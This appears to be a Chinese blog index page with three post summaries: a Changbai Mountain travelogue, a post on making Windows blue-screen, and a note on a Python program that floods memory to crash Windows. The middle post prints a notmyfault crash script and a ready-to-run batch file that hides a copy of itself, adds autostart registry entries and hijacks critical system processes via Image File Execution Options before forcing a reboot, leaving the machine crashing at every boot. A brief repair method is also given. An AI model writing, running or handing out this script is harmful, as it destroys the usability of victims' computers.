PanDaoxi 的博客

长白山游记，探索自然之美。文章通过一系列生动的照片展示了长白山的壮丽景色，包括红滩、大江、天池、长白山等自然景观，以及鸡鸣三国和国门卫边防的场景。同时，还提到了美食体验，增加了旅游的乐趣。

蓝屏死机（BSOD）是Windows操作系统在无法从系统错误中恢复时，为保护电脑数据文件不被破坏而强制显示的屏幕图像。Windows操作系统的蓝屏死机提示已经成为标志性的画面。大部分是系统崩溃的现象。`Windows 9x`操作系统发生小故障，或`Windows NT`发生内核错误都会导致蓝屏死机。 制作一个可以导致蓝屏的程序的方法包括：结束关键的`Windows NT`进程，例如`wininit.exe`、`smss.exe`、`csrss.exe`等；或者直接结束全部进程。对于`Windows 10`及以上版本，可以使用`PowerShell`直接访问`wininit.exe`造成电脑蓝屏。 使用`notmyfault`工具可以对`Windows XP`以上版本的系统进行蓝屏操作。需要用到第三方软件，来源于`Microsoft Sysinternals Suite`中的`notmyfault`系列。具体的命令如下： ```powershell @echo off if %PROCESSOR_ARCHITECTURE%==AMD64 ( notmyfaultc64.exe /accepteula notmyfaultc64.exe /crash 0x03 ) else ( notmyfaultc.exe /accepteula notmyfaultc.exe /crash 0x03 ) ``` 首先确定系统的位数，再调用蓝屏。第 $4$ 行和第 $7$ 行可以改变，是根据想要的蓝屏类型确定的；也可以挂起进程。 删除或劫持内核关键程序的方法包括提取或恢复系统文件，以及通过注册表调整自启动项目。具体命令如下： ```powershell @echo off copy %0 v.exe attrib +s +h /s /d v.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Run" /f /v "vvvvv" /t REG_SZ /d "%cd%\v.exe" reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wininit.exe" /f /v debugger /t REG_SZ /d "\\" reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smss.exe" /f /v debugger /t REG_SZ /d "\\" reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrss.exe" /f /v debugger /t REG_SZ /d "\\" reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /f /v debugger /t REG_SZ /d "\\" reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe" /f /v debugger /t REG_SZ /d "\\" reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe" /f /v debugger /t REG_SZ /d "\\" shutdown /r /t 0 ``` 不同于一般的自启动，由于内核关键进程在进入桌面之前就已经启动，所以在锁屏页面前就会蓝屏；安全模式同样。在`Windows XP`中表现为黑屏，只有鼠标可以移动。修复方法，就是进入`PE`系统删除映像劫持项目和自启动项目，删除释放的文件等。

这篇文章是关于一个名为“等比弹窗”的程序，它通过在Windows系统中运行Python脚本来快速占用大量内存并导致系统崩溃。文章详细介绍了该程序的工作原理、如何修复以及一个更简单的非弹窗版程序。